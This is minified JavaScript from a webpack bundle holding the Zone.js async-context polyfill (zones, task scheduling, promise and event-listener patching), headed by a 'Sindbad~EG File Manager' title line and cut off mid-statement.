Sindbad~EG File Manager
(()=>{"use strict";var e,v={},i={};function n(e){var l=i[e];if(void 0!==l)return l.exports;var r=i[e]={exports:{}};return v[e](r,r.exports,n),r.exports}n.m=v,e=[],n.O=(l,r,s,f)=>{if(!r){var u=1/0;for(a=0;a<e.length;a++){for(var[r,s,f]=e[a],t=!0,o=0;o<r.length;o++)(!1&f||u>=f)&&Object.keys(n.O).every(b=>n.O[b](r[o]))?r.splice(o--,1):(t=!1,f<u&&(u=f));if(t){e.splice(a--,1);var c=s();void 0!==c&&(l=c)}}return l}f=f||0;for(var a=e.length;a>0&&e[a-1][2]>f;a--)e[a]=e[a-1];e[a]=[r,s,f]},n.o=(e,l)=>Object.prototype.hasOwnProperty.call(e,l),(()=>{var e={666:0};n.O.j=s=>0===e[s];var l=(s,f)=>{var o,c,[a,u,t]=f,p=0;if(a.some(d=>0!==e[d])){for(o in u)n.o(u,o)&&(n.m[o]=u[o]);if(t)var _=t(n)}for(s&&s(f);p<a.length;p++)n.o(e,c=a[p])&&e[c]&&e[c][0](),e[c]=0;return n.O(_)},r=self.webpackJsonpSnapCE=self.webpackJsonpSnapCE||[];r.forEach(l.bind(null,0)),r.push=l.bind(null,r.push.bind(r))})()})();"use strict";(self.webpackJsonpSnapCE=self.webpackJsonpSnapCE||[]).push([[429],{332:()=>{!function(e){const n=e.performance;function i(L){n&&n.mark&&n.mark(L)}function o(L,T){n&&n.measure&&n.measure(L,T)}i("Zone");const c=e.__Zone_symbol_prefix||"__zone_symbol__";function a(L){return c+L}const y=!0===e[a("forceDuplicateZoneCheck")];if(e.Zone){if(y||"function"!=typeof e.Zone.__symbol__)throw new Error("Zone already loaded.");return e.Zone}let d=(()=>{class L{static#e=this.__symbol__=a;static assertZonePatched(){if(e.Promise!==oe.ZoneAwarePromise)throw new Error("Zone.js has detected that ZoneAwarePromise `(window|global).Promise` has been overwritten.\nMost likely cause is that a Promise polyfill has been loaded after Zone.js (Polyfilling Promise api is not necessary when zone.js is loaded. If you must load one, do so before loading zone.js.)")}static get root(){let t=L.current;for(;t.parent;)t=t.parent;return t}static get current(){return U.zone}static get currentTask(){return re}static __load_patch(t,r,k=!1){if(oe.hasOwnProperty(t)){if(!k&&y)throw Error("Already loaded patch: "+t)}else if(!e["__Zone_disable_"+t]){const C="Zone:"+t;i(C),oe[t]=r(e,L,z),o(C,C)}}get parent(){return this._parent}get name(){return this._name}constructor(t,r){this._parent=t,this._name=r?r.name||"unnamed":"<root>",this._properties=r&&r.properties||{},this._zoneDelegate=new v(this,this._parent&&this._parent._zoneDelegate,r)}get(t){const r=this.getZoneWith(t);if(r)return r._properties[t]}getZoneWith(t){let r=this;for(;r;){if(r._properties.hasOwnProperty(t))return r;r=r._parent}return null}fork(t){if(!t)throw new Error("ZoneSpec required!");return this._zoneDelegate.fork(this,t)}wrap(t,r){if("function"!=typeof t)throw new Error("Expecting function got: "+t);const k=this._zoneDelegate.intercept(this,t,r),C=this;return function(){return C.runGuarded(k,this,arguments,r)}}run(t,r,k,C){U={parent:U,zone:this};try{return this._zoneDelegate.invoke(this,t,r,k,C)}finally{U=U.parent}}runGuarded(t,r=null,k,C){U={parent:U,zone:this};try{try{return this._zoneDelegate.invoke(this,t,r,k,C)}catch($){if(this._zoneDelegate.handleError(this,$))throw $}}finally{U=U.parent}}runTask(t,r,k){if(t.zone!=this)throw new Error("A task can only be run in the zone of creation! (Creation: "+(t.zone||J).name+"; Execution: "+this.name+")");if(t.state===x&&(t.type===Q||t.type===P))return;const C=t.state!=E;C&&t._transitionTo(E,A),t.runCount++;const $=re;re=t,U={parent:U,zone:this};try{t.type==P&&t.data&&!t.data.isPeriodic&&(t.cancelFn=void 0);try{return this._zoneDelegate.invokeTask(this,t,r,k)}catch(l){if(this._zoneDelegate.handleError(this,l))throw l}}finally{t.state!==x&&t.state!==h&&(t.type==Q||t.data&&t.data.isPeriodic?C&&t._transitionTo(A,E):(t.runCount=0,this._updateTaskCount(t,-1),C&&t._transitionTo(x,E,x))),U=U.parent,re=$}}scheduleTask(t){if(t.zone&&t.zone!==this){let k=this;for(;k;){if(k===t.zone)throw Error(`can not reschedule task to ${this.name} which is descendants of the original zone ${t.zone.name}`);k=k.parent}}t._transitionTo(X,x);const r=[];t._zoneDelegates=r,t._zone=this;try{t=this._zoneDelegate.scheduleTask(this,t)}catch(k){throw t._transitionTo(h,X,x),this._zoneDelegate.handleError(this,k),k}return t._zoneDelegates===r&&this._updateTaskCount(t,1),t.state==X&&t._transitionTo(A,X),t}scheduleMicroTask(t,r,k,C){return this.scheduleTask(new p(I,t,r,k,C,void 0))}scheduleMacroTask(t,r,k,C,$){return this.scheduleTask(new p(P,t,r,k,C,$))}scheduleEventTask(t,r,k,C,$){return this.scheduleTask(new p(Q,t,r,k,C,$))}cancelTask(t){if(t.zone!=this)throw new Error("A task can only be cancelled in the zone of creation! (Creation: "+(t.zone||J).name+"; Execution: "+this.name+")");if(t.state===A||t.state===E){t._transitionTo(G,A,E);try{this._zoneDelegate.cancelTask(this,t)}catch(r){throw t._transitionTo(h,G),this._zoneDelegate.handleError(this,r),r}return this._updateTaskCount(t,-1),t._transitionTo(x,G),t.runCount=0,t}}_updateTaskCount(t,r){const k=t._zoneDelegates;-1==r&&(t._zoneDelegates=null);for(let C=0;C<k.length;C++)k[C]._updateTaskCount(t.type,r)}}return L})();const b={name:"",onHasTask:(L,T,t,r)=>L.hasTask(t,r),onScheduleTask:(L,T,t,r)=>L.scheduleTask(t,r),onInvokeTask:(L,T,t,r,k,C)=>L.invokeTask(t,r,k,C),onCancelTask:(L,T,t,r)=>L.cancelTask(t,r)};class v{constructor(T,t,r){this._taskCounts={microTask:0,macroTask:0,eventTask:0},this.zone=T,this._parentDelegate=t,this._forkZS=r&&(r&&r.onFork?r:t._forkZS),this._forkDlgt=r&&(r.onFork?t:t._forkDlgt),this._forkCurrZone=r&&(r.onFork?this.zone:t._forkCurrZone),this._interceptZS=r&&(r.onIntercept?r:t._interceptZS),this._interceptDlgt=r&&(r.onIntercept?t:t._interceptDlgt),this._interceptCurrZone=r&&(r.onIntercept?this.zone:t._interceptCurrZone),this._invokeZS=r&&(r.onInvoke?r:t._invokeZS),this._invokeDlgt=r&&(r.onInvoke?t:t._invokeDlgt),this._invokeCurrZone=r&&(r.onInvoke?this.zone:t._invokeCurrZone),this._handleErrorZS=r&&(r.onHandleError?r:t._handleErrorZS),this._handleErrorDlgt=r&&(r.onHandleError?t:t._handleErrorDlgt),this._handleErrorCurrZone=r&&(r.onHandleError?this.zone:t._handleErrorCurrZone),this._scheduleTaskZS=r&&(r.onScheduleTask?r:t._scheduleTaskZS),this._scheduleTaskDlgt=r&&(r.onScheduleTask?t:t._scheduleTaskDlgt),this._scheduleTaskCurrZone=r&&(r.onScheduleTask?this.zone:t._scheduleTaskCurrZone),this._invokeTaskZS=r&&(r.onInvokeTask?r:t._invokeTaskZS),this._invokeTaskDlgt=r&&(r.onInvokeTask?t:t._invokeTaskDlgt),this._invokeTaskCurrZone=r&&(r.onInvokeTask?this.zone:t._invokeTaskCurrZone),this._cancelTaskZS=r&&(r.onCancelTask?r:t._cancelTaskZS),this._cancelTaskDlgt=r&&(r.onCancelTask?t:t._cancelTaskDlgt),this._cancelTaskCurrZone=r&&(r.onCancelTask?this.zone:t._cancelTaskCurrZone),this._hasTaskZS=null,this._hasTaskDlgt=null,this._hasTaskDlgtOwner=null,this._hasTaskCurrZone=null;const k=r&&r.onHasTask;(k||t&&t._hasTaskZS)&&(this._hasTaskZS=k?r:b,this._hasTaskDlgt=t,this._hasTaskDlgtOwner=this,this._hasTaskCurrZone=T,r.onScheduleTask||(this._scheduleTaskZS=b,this._scheduleTaskDlgt=t,this._scheduleTaskCurrZone=this.zone),r.onInvokeTask||(this._invokeTaskZS=b,this._invokeTaskDlgt=t,this._invokeTaskCurrZone=this.zone),r.onCancelTask||(this._cancelTaskZS=b,this._cancelTaskDlgt=t,this._cancelTaskCurrZone=this.zone))}fork(T,t){return this._forkZS?this._forkZS.onFork(this._forkDlgt,this.zone,T,t):new d(T,t)}intercept(T,t,r){return this._interceptZS?this._interceptZS.onIntercept(this._interceptDlgt,this._interceptCurrZone,T,t,r):t}invoke(T,t,r,k,C){return this._invokeZS?this._invokeZS.onInvoke(this._invokeDlgt,this._invokeCurrZone,T,t,r,k,C):t.apply(r,k)}handleError(T,t){return!this._handleErrorZS||this._handleErrorZS.onHandleError(this._handleErrorDlgt,this._handleErrorCurrZone,T,t)}scheduleTask(T,t){let r=t;if(this._scheduleTaskZS)this._hasTaskZS&&r._zoneDelegates.push(this._hasTaskDlgtOwner),r=this._scheduleTaskZS.onScheduleTask(this._scheduleTaskDlgt,this._scheduleTaskCurrZone,T,t),r||(r=t);else if(t.scheduleFn)t.scheduleFn(t);else{if(t.type!=I)throw new Error("Task is missing scheduleFn.");R(t)}return r}invokeTask(T,t,r,k){return this._invokeTaskZS?this._invokeTaskZS.onInvokeTask(this._invokeTaskDlgt,this._invokeTaskCurrZone,T,t,r,k):t.callback.apply(r,k)}cancelTask(T,t){let r;if(this._cancelTaskZS)r=this._cancelTaskZS.onCancelTask(this._cancelTaskDlgt,this._cancelTaskCurrZone,T,t);else{if(!t.cancelFn)throw Error("Task is not cancelable");r=t.cancelFn(t)}return r}hasTask(T,t){try{this._hasTaskZS&&this._hasTaskZS.onHasTask(this._hasTaskDlgt,this._hasTaskCurrZone,T,t)}catch(r){this.handleError(T,r)}}_updateTaskCount(T,t){const r=this._taskCounts,k=r[T],C=r[T]=k+t;if(C<0)throw new Error("More tasks executed then were scheduled.");0!=k&&0!=C||this.hasTask(this.zone,{microTask:r.microTask>0,macroTask:r.macroTask>0,eventTask:r.eventTask>0,change:T})}}class p{constructor(T,t,r,k,C,$){if(this._zone=null,this.runCount=0,this._zoneDelegates=null,this._state="notScheduled",this.type=T,this.source=t,this.data=k,this.scheduleFn=C,this.cancelFn=$,!r)throw new Error("callback is not defined");this.callback=r;const l=this;this.invoke=T===Q&&k&&k.useG?p.invokeTask:function(){return p.invokeTask.call(e,l,this,arguments)}}static invokeTask(T,t,r){T||(T=this),ee++;try{return T.runCount++,T.zone.runTask(T,t,r)}finally{1==ee&&_(),ee--}}get zone(){return this._zone}get state(){return this._state}cancelScheduleRequest(){this._transitionTo(x,X)}_transitionTo(T,t,r){if(this._state!==t&&this._state!==r)throw new Error(`${this.type} '${this.source}': can not transition to '${T}', expecting state '${t}'${r?" or '"+r+"'":""}, was '${this._state}'.`);this._state=T,T==x&&(this._zoneDelegates=null)}toString(){return this.data&&typeof this.data.handleId<"u"?this.data.handleId.toString():Object.prototype.toString.call(this)}toJSON(){return{type:this.type,state:this.state,source:this.source,zone:this.zone.name,runCount:this.runCount}}}const M=a("setTimeout"),O=a("Promise"),N=a("then");let K,B=[],H=!1;function q(L){if(K||e[O]&&(K=e[O].resolve(0)),K){let T=K[N];T||(T=K.then),T.call(K,L)}else e[M](L,0)}function R(L){0===ee&&0===B.length&&q(_),L&&B.push(L)}function _(){if(!H){for(H=!0;B.length;){const L=B;B=[];for(let T=0;T<L.length;T++){const t=L[T];try{t.zone.runTask(t,null,null)}catch(r){z.onUnhandledError(r)}}}z.microtaskDrainDone(),H=!1}}const J={name:"NO ZONE"},x="notScheduled",X="scheduling",A="scheduled",E="running",G="canceling",h="unknown",I="microTask",P="macroTask",Q="eventTask",oe={},z={symbol:a,currentZoneFrame:()=>U,onUnhandledError:W,microtaskDrainDone:W,scheduleMicroTask:R,showUncaughtError:()=>!d[a("ignoreConsoleErrorUncaughtError")],patchEventTarget:()=>[],patchOnProperties:W,patchMethod:()=>W,bindArguments:()=>[],patchThen:()=>W,patchMacroTask:()=>W,patchEventPrototype:()=>W,isIEOrEdge:()=>!1,getGlobalObjects:()=>{},ObjectDefineProperty:()=>W,ObjectGetOwnPropertyDescriptor:()=>{},ObjectCreate:()=>{},ArraySlice:()=>[],patchClass:()=>W,wrapWithCurrentZone:()=>W,filterProperties:()=>[],attachOriginToPatched:()=>W,_redefineProperty:()=>W,patchCallbacks:()=>W,nativeScheduleMicroTask:q};let U={parent:null,zone:new d(null,null)},re=null,ee=0;function W(){}o("Zone","Zone"),e.Zone=d}(globalThis);const ue=Object.getOwnPropertyDescriptor,pe=Object.defineProperty,ve=Object.getPrototypeOf,Se=Object.create,it=Array.prototype.slice,Ze="addEventListener",De="removeEventListener",Oe=Zone.__symbol__(Ze),Ne=Zone.__symbol__(De),ie="true",ce="false",me=Zone.__symbol__("");function Ie(e,n){return Zone.current.wrap(e,n)}function Me(e,n,i,o,c){return Zone.current.scheduleMacroTask(e,n,i,o,c)}const j=Zone.__symbol__,be=typeof window<"u",_e=be?window:void 0,Y=be&&_e||globalThis,ct="removeAttribute";function Le(e,n){for(let i=e.length-1;i>=0;i--)"function"==typeof e[i]&&(e[i]=Ie(e[i],n+"_"+i));return e}function Ve(e){return!e||!1!==e.writable&&!("function"==typeof e.get&&typeof e.set>"u")}const Fe=typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope,Pe=!("nw"in Y)&&typeof Y.process<"u"&&"[object process]"==={}.toString.call(Y.process),Ae=!Pe&&!Fe&&!(!be||!_e.HTMLElement),Be=typeof Y.process<"u"&&"[object process]"==={}.toString.call(Y.process)&&!Fe&&!(!be||!_e.HTMLElement),we={},Ue=function(e){if(!(e=e||Y.event))return;let n=we[e.type];n||(n=we[e.type]=j("ON_PROPERTY"+e.type));const i=this||e.target||Y,o=i[n];let c;return Ae&&i===_e&&"error"===e.type?(c=o&&o.call(this,e.message,e.filename,e.lineno,e.colno,e.error),!0===c&&e.preventDefault()):(c=o&&o.apply(this,arguments),null!=c&&!c&&e.preventDefault()),c};function We(e,n,i){let o=ue(e,n);if(!o&&i&&ue(i,n)&&(o={enumerable:!0,configurable:!0}),!o||!o.configurable)return;const c=j("on"+n+"patched");if(e.hasOwnProperty(c)&&e[c])return;delete o.writable,delete o.value;const a=o.get,y=o.set,d=n.slice(2);let b=we[d];b||(b=we[d]=j("ON_PROPERTY"+d)),o.set=function(v){let p=this;!p&&e===Y&&(p=Y),p&&("function"==typeof p[b]&&p.removeEventListener(d,Ue),y&&y.call(p,null),p[b]=v,"function"==typeof v&&p.addEventListener(d,Ue,!1))},o.get=function(){let v=this;if(!v&&e===Y&&(v=Y),!v)return null;const p=v[b];if(p)return p;if(a){let M=a.call(this);if(M)return o.set.call(this,M),"function"==typeof v[ct]&&v.removeAttribute(n),M}return null},pe(e,n,o),e[c]=!0}function qe(e,n,i){if(n)for(let o=0;o<n.length;o++)We(e,"on"+n[o],i);else{const o=[];for(const c in e)"on"==c.slice(0,2)&&o.push(c);for(let c=0;c<o.length;c++)We(e,o[c],i)}}const ne=j("originalInstance");function ge(e){const n=Y[e];if(!n)return;Y[j(e)]=n,Y[e]=function(){const c=Le(arguments,e);switch(c.length){case 0:this[ne]=new n;break;case 1:this[ne]=new n(c[0]);break;case 2:this[ne]=new n(c[0],c[1]);break;case 3:this[ne]=new n(c[0],c[1],c[2]);break;case 4:this[ne]=new n(c[0],c[1],c[2],c[3]);break;default:throw new Error("Arg list too long.")}},le(Y[e],n);const i=new n(function(){});let o;for(o in i)"XMLHttpRequest"===e&&"responseBlob"===o||function(c){"function"==typeof i[c]?Y[e].prototype[c]=function(){return this[ne][c].apply(this[ne],arguments)}:pe(Y[e].prototype,c,{set:function(a){"function"==typeof a?(this[ne][c]=Ie(a,e+"."+c),le(this[ne][c],a)):this[ne][c]=a},get:function(){return this[ne][c]}})}(o);for(o in n)"prototype"!==o&&n.hasOwnProperty(o)&&(Y[e][o]=n[o])}function ae(e,n,i){let o=e;for(;o&&!o.hasOwnProperty(n);)o=ve(o);!o&&e[n]&&(o=e);const c=j(n);let a=null;if(o&&(!(a=o[c])||!o.hasOwnProperty(c))&&(a=o[c]=o[n],Ve(o&&ue(o,n)))){const d=i(a,c,n);o[n]=function(){return d(this,arguments)},le(o[n],a)}return a}function lt(e,n,i){let o=null;function c(a){const y=a.data;return y.args[y.cbIdx]=function(){a.invoke.apply(this,arguments)},o.apply(y.target,y.args),a}o=ae(e,n,a=>function(y,d){const b=i(y,d);return b.cbIdx>=0&&"function"==typeof d[b.cbIdx]?Me(b.name,d[b.cbIdx],b,c):a.apply(y,d)})}function le(e,n){e[j("OriginalDelegate")]=n}let Xe=!1,je=!1;function ft(){if(Xe)return je;Xe=!0;try{const e=_e.navigator.userAgent;(-1!==e.indexOf("MSIE ")||-1!==e.indexOf("Trident/")||-1!==e.indexOf("Edge/"))&&(je=!0)}catch{}return je}Zone.__load_patch("ZoneAwarePromise",(e,n,i)=>{const o=Object.getOwnPropertyDescriptor,c=Object.defineProperty,y=i.symbol,d=[],b=!1!==e[y("DISABLE_WRAPPING_UNCAUGHT_PROMISE_REJECTION")],v=y("Promise"),p=y("then"),M="__creationTrace__";i.onUnhandledError=l=>{if(i.showUncaughtError()){const u=l&&l.rejection;u?console.error("Unhandled Promise rejection:",u instanceof Error?u.message:u,"; Zone:",l.zone.name,"; Task:",l.task&&l.task.source,"; Value:",u,u instanceof Error?u.stack:void 0):console.error(l)}},i.microtaskDrainDone=()=>{for(;d.length;){const l=d.shift();try{l.zone.runGuarded(()=>{throw l.throwOriginal?l.rejection:l})}catch(u){N(u)}}};const O=y("unhandledPromiseRejectionHandler");function N(l){i.onUnhandledError(l);try{const u=n[O];"function"==typeof u&&u.call(this,l)}catch{}}function B(l){return l&&l.then}function H(l){return l}function K(l){return t.reject(l)}const q=y("state"),R=y("value"),_=y("finally"),J=y("parentPromiseValue"),x=y("parentPromiseState"),X="Promise.then",A=null,E=!0,G=!1,h=0;function I(l,u){return s=>{try{z(l,u,s)}catch(f){z(l,!1,f)}}}const P=function(){let l=!1;return function(s){return function(){l||(l=!0,s.apply(null,arguments))}}},Q="Promise resolved with itself",oe=y("currentTaskTrace");function z(l,u,s){const f=P();if(l===s)throw new TypeError(Q);if(l[q]===A){let g=null;try{("object"==typeof s||"function"==typeof s)&&(g=s&&s.then)}catch(w){return f(()=>{z(l,!1,w)})(),l}if(u!==G&&s instanceof t&&s.hasOwnProperty(q)&&s.hasOwnProperty(R)&&s[q]!==A)re(s),z(l,s[q],s[R]);else if(u!==G&&"function"==typeof g)try{g.call(s,f(I(l,u)),f(I(l,!1)))}catch(w){f(()=>{z(l,!1,w)})()}else{l[q]=u;const w=l[R];if(l[R]=s,l[_]===_&&u===E&&(l[q]=l[x],l[R]=l[J]),u===G&&s instanceof Error){const m=n.currentTask&&n.currentTask.data&&n.currentTask.data[M];m&&c(s,oe,{configurable:!0,enumerable:!1,writable:!0,value:m})}for(let m=0;m<w.length;)ee(l,w[m++],w[m++],w[m++],w[m++]);if(0==w.length&&u==G){l[q]=h;let m=s;try{throw new Error("Uncaught (in promise): "+function a(l){return l&&l.toString===Object.prototype.toString?(l.constructor&&l.constructor.name||"")+": "+JSON.stringify(l):l?l.toString():Object.prototype.toString.call(l)}(s)+(s&&s.stack?"\n"+s.stack:""))}catch(S){m=S}b&&(m.throwOriginal=!0),m.rejection=s,m.promise=l,m.zone=n.current,m.task=n.currentTask,d.push(m),i.scheduleMicroTask()}}}return l}const U=y("rejectionHandledHandler");function re(l){if(l[q]===h){try{const u=n[U];u&&"function"==typeof u&&u.call(this,{rejection:l[R],promise:l})}catch{}l[q]=G;for(let u=0;u<d.length;u++)l===d[u].promise&&d.splice(u,1)}}function ee(l,u,s,f,g){re(l);const w=l[q],m=w?"function"==typeof f?f:H:"function"==typeof g?g:K;u.scheduleMicroTask(X,()=>{try{const S=l[R],Z=!!s&&_===s[_];Z&&(s[J]=S,s[x]=w);const D=u.run(m,void 0,Z&&m!==K&&m!==H?[]:[S]);z(s,!0,D)}catch(S){z(s,!1,S)}},s)}const L=function(){},T=e.AggregateError;class t{static toString(){return"function ZoneAwarePromise() { [native code] }"}static resolve(u){return z(new this(null),E,u)}static reject(u){return z(new this(null),G,u)}static any(u){if(!u||"function"!=typeof u[Symbol.iterator])return Promise.reject(new T([],"All promises were rejected"));const s=[];let f=0;try{for(let m of u)f++,s.push(t.resolve(m))}catch{return Promise.reject(new T([],"All promises were rejected"))}if(0===f)return Promise.reject(new T([],"All promises were rejected"));let g=!1;const w=[];return new t((m,S)=>{for(let Z=0;Z<s.length;Z++)s[Z].then(D=>{g||(g=!0,m(D))},D=>{w.push(D),f--,0===f&&(g=!0,S(new T(w,"All promises were rejected")))})})}static race(u){let s,f,g=new this((S,Z)=>{s=S,f=Z});function w(S){s(S)}function m(S){f(S)}for(let S of u)B(S)||(S=this.resolve(S)),S.then(w,m);return g}static all(u){return t.allWithCallback(u)}static allSettled(u){return(this&&this.prototype instanceof t?this:t).allWithCallback(u,{thenCallback:f=>({status:"fulfilled",value:f}),errorCallback:f=>({status:"rejected",reason:f})})}static allWithCallback(u,s){let f,g,w=new this((D,V)=>{f=D,g=V}),m=2,S=0;const Z=[];for(let D of u){B(D)||(D=this.resolve(D));const V=S;try{D.then(F=>{Z[V]=s?s.thenCallback(F):F,m--,0===m&&f(Z)},F=>{s?(Z[V]=s.errorCallback(F),m--,0===m&&f(Z)):g(F)})}catch(F){g(F)}m++,S++}return m-=2,0===m&&f(Z),w}constructor(u){const s=this;if(!(s instanceof t))throw new Error("Must be an instanceof Promise.");s[q]=A,s[R]=[];try{const f=P();u&&u(f(I(s,E)),f(I(s,G)))}catch(f){z(s,!1,f)}}get[Symbol.toStringTag](){return"Promise"}get[Symbol.species](){return t}then(u,s){let f=this.constructor?.[Symbol.species];(!f||"function"!=typeof f)&&(f=this.constructor||t);const g=new f(L),w=n.current;return this[q]==A?this[R].push(w,g,u,s):ee(this,w,g,u,s),g}catch(u){return this.then(null,u)}finally(u){let s=this.constructor?.[Symbol.species];(!s||"function"!=typeof s)&&(s=t);const f=new s(L);f[_]=_;const g=n.current;return this[q]==A?this[R].push(g,f,u,u):ee(this,g,f,u,u),f}}t.resolve=t.resolve,t.reject=t.reject,t.race=t.race,t.all=t.all;const r=e[v]=e.Promise;e.Promise=t;const k=y("thenPatched");function C(l){const u=l.prototype,s=o(u,"then");if(s&&(!1===s.writable||!s.configurable))return;const f=u.then;u[p]=f,l.prototype.then=function(g,w){return new t((S,Z)=>{f.call(this,S,Z)}).then(g,w)},l[k]=!0}return i.patchThen=C,r&&(C(r),ae(e,"fetch",l=>function $(l){return function(u,s){let f=l.apply(u,s);if(f instanceof t)return f;let g=f.constructor;return g[k]||C(g),f}}(l))),Promise[n.__symbol__("uncaughtPromiseErrors")]=d,t}),Zone.__load_patch("toString",e=>{const n=Function.prototype.toString,i=j("OriginalDelegate"),o=j("Promise"),c=j("Error"),a=function(){if("function"==typeof this){const v=this[i];if(v)return"function"==typeof v?n.call(v):Object.prototype.toString.call(v);if(this===Promise){const p=e[o];if(p)return n.call(p)}if(this===Error){const p=e[c];if(p)return n.call(p)}}return n.call(this)};a[i]=n,Function.prototype.toString=a;const y=Object.prototype.toString;Object.prototype.toString=function(){return"function"==typeof Promise&&this instanceof Promise?"[object Promise]":y.call(this)}});let Ee=!1;if(typeof window<"u")try{const e=Object.defineProperty({},"passive",{get:function(){Ee=!0}});window.addEventListener("test",e,e),window.removeEventListener("test",e,e)}catch{Ee=!1}const ht={useG:!0},te={},ze={},Ye=new RegExp("^"+me+"(\\w+)(true|false)$"),$e=j("propagationStopped");function Je(e,n){const i=(n?n(e):e)+ce,o=(n?n(e):e)+ie,c=me+i,a=me+o;te[e]={},te[e][ce]=c,te[e][ie]=a}function dt(e,n,i,o){const c=o&&o.add||Ze,a=o&&o.rm||De,y=o&&o.listeners||"eventListeners",d=o&&o.rmAll||"removeAllListeners",b=j(c),v="."+c+":",p="prependListener",M="."+p+":",O=function(R,_,J){if(R.isRemoved)return;const x=R.callback;let X;"object"==typeof x&&x.handleEvent&&(R.callback=E=>x.handleEvent(E),R.originalDelegate=x);try{R.invoke(R,_,[J])}catch(E){X=E}const A=R.options;return A&&"object"==typeof A&&A.once&&_[a].call(_,J.type,R.originalDelegate?R.originalDelegate:R.callback,A),X};function N(R,_,J){if(!(_=_||e.event))return;const x=R||_.target||e,X=x[te[_.type][J?ie:ce]];if(X){const A=[];if(1===X.length){const E=O(X[0],x,_);E&&A.push(E)}else{const E=X.slice();for(let G=0;G<E.length&&(!_||!0!==_[$e]);G++){const h=O(E[G],x,_);h&&A.push(h)}}if(1===A.length)throw A[0];for(let E=0;E<A.length;E++){const G=A[E];n.nativeScheduleMicroTask(()=>{throw G})}}}const B=function(R){return N(this,R,!1)},H=function(R){return N(this,R,!0)};function K(R,_){if(!R)return!1;let J=!0;_&&void 0!==_.useG&&(J=_.useG);const x=_&&_.vh;let X=!0;_&&void 0!==_.chkDup&&(X=_.chkDup);let A=!1;_&&void 0!==_.rt&&(A=_.rt);let E=R;for(;E&&!E.hasOwnProperty(c);)E=ve(E);if(!E&&R[c]&&(E=R),!E||E[b])return!1;const G=_&&_.eventNameToString,h={},I=E[b]=E[c],P=E[j(a)]=E[a],Q=E[j(y)]=E[y],oe=E[j(d)]=E[d];let z;_&&_.prepend&&(z=E[j(_.prepend)]=E[_.prepend]);const t=J?function(s){if(!h.isExisting)return I.call(h.target,h.eventName,h.capture?H:B,h.options)}:function(s){return I.call(h.target,h.eventName,s.invoke,h.options)},r=J?function(s){if(!s.isRemoved){const f=te[s.eventName];let g;f&&(g=f[s.capture?ie:ce]);const w=g&&s.target[g];if(w)for(let m=0;m<w.length;m++)if(w[m]===s){w.splice(m,1),s.isRemoved=!0,0===w.length&&(s.allRemoved=!0,s.target[g]=null);break}}if(s.allRemoved)return P.call(s.target,s.eventName,s.capture?H:B,s.options)}:function(s){return P.call(s.target,s.eventName,s.invoke,s.options)},C=_&&_.diff?_.diff:function(s,f){const g=typeof f;return"function"===g&&s.callback===f||"object"===g&&s.originalDelegate===f},$=Zone[j("UNPATCHED_EVENTS")],l=e[j("PASSIVE_EVENTS")],u=function(s,f,g,w,m=!1,S=!1){return function(){const Z=this||e;let D=arguments[0];_&&_.transferEventName&&(D=_.transferEventName(D));let V=arguments[1];if(!V)return s.apply(this,arguments);if(Pe&&"uncaughtException"===D)return s.apply(this,arguments);let F=!1;if("function"!=typeof V){if(!V.handleEvent)return s.apply(this,arguments);F=!0}if(x&&!x(s,V,Z,arguments))return;const fe=Ee&&!!l&&-1!==l.indexOf(D),se=function U(s,f){return!Ee&&"object"==typeof s&&s?!!s.capture:Ee&&f?"boolean"==typeof s?{capture:s,passive:!0}:s?"object"==typeof s&&!1!==s.passive?{...s,passive:!0}:s:{passive:!0}:s}(arguments[2],fe);if($)for(let de=0;de<$.length;de++)if(D===$[de])return fe?s.call(Z,D,V,se):s.apply(this,arguments);const xe=!!se&&("boolean"==typeof se||se.capture),tt=!(!se||"object"!=typeof se)&&se.once,kt=Zone.current;let Ge=te[D];Ge||(Je(D,G),Ge=te[D]);const nt=Ge[xe?ie:ce];let Ce,ye=Z[nt],rt=!1;if(ye){if(rt=!0,X)for(let de=0;de<ye.length;de++)if(C(ye[de],V))return}else ye=Z[nt]=[];const ot=Z.constructor.name,st=ze[ot];st&&(Ce=st[D]),Ce||(Ce=ot+f+(G?G(D):D)),h.options=se,tt&&(h.options.once=!1),h.target=Z,h.capture=xe,h.eventName=D,h.isExisting=rt;const ke=J?ht:void 0;ke&&(ke.taskData=h);const he=kt.scheduleEventTask(Ce,V,ke,g,w);return h.target=null,ke&&(ke.taskData=null),tt&&(se.once=!0),!Ee&&"boolean"==typeof he.options||(he.options=se),he.target=Z,he.capture=xe,he.eventName=D,F&&(he.originalDelegate=V),S?ye.unshift(he):ye.push(he),m?Z:void 0}};return E[c]=u(I,v,t,r,A),z&&(E[p]=u(z,M,function(s){return z.call(h.target,h.eventName,s.invoke,h.options)},r,A,!0)),E[a]=function(){const s=this||e;let f=arguments[0];_&&_.transferEventName&&(f=_.transferEventName(f));const g=arguments[2],w=!!g&&("boolean"==typeof g||g.capture),m=arguments[1];if(!m)return P.apply(this,arguments);if(x&&!x(P,m,s,arguments))return;const S=te[f];let Z;S&&(Z=S[w?ie:ce]);const D=Z&&s[Z];if(D)for(let V=0;V<D.length;V++){const F=D[V];if(C(F,m))return D.splice(V,1),F.isRemoved=!0,0===D.length&&(F.allRemoved=!0,s[Z]=null,"string"==typeof f)&&(s[me+"ON_PROPERTY"+f]=null),F.zone.cancelTask(F),A?s:void 0}return P.apply(this,arguments)},E[y]=function(){const s=this||e;let f=arguments[0];_&&_.transferEventName&&(f=_.transferEventName(f));const g=[],w=Ke(s,G?G(f):f);for(let m=0;m<w.length;m++){const S=w[m];g.push(S.originalDelegate?S.originalDelegate:S.callback)}return g},E[d]=function(){const s=this||e;let f=arguments[0];if(f){_&&_.transferEventName&&(f=_.transferEventName(f));const g=te[f];if(g){const S=s[g[ce]],Z=s[g[ie]];if(S){const D=S.slice();for(let V=0;V<D.length;V++){const F=D[V];this[a].call(this,f,F.originalDelegate?F.originalDelegate:F.callback,F.options)}}if(Z){const D=Z.slice();for(let V=0;V<D.length;V++){const F=D[V];this[a].call(this,f,F.originalDelegate?F.originalDelegate:F.callback,F.options)}}}}else{const g=Object.keys(s);for(let w=0;w<g.length;w++){const S=Ye.exec(g[w]);let Z=S&&S[1];Z&&"removeListener"!==Z&&this[d].call(this,Z)}this[d].call(this,"removeListener")}if(A)return this},le(E[c],I),le(E[a],P),oe&&le(E[d],oe),Q&&le(E[y],Q),!0}let q=[];for(let R=0;R<i.length;R++)q[R]=K(i[R],o);return q}function Ke(e,n){if(!n){const a=[];for(let y in e){const d=Ye.exec(y);let b=d&&d[1];if(b&&(!n||b===n)){const v=e[y];if(v)for(let p=0;p<v.length;p++)a.push(v[p])}}return a}let 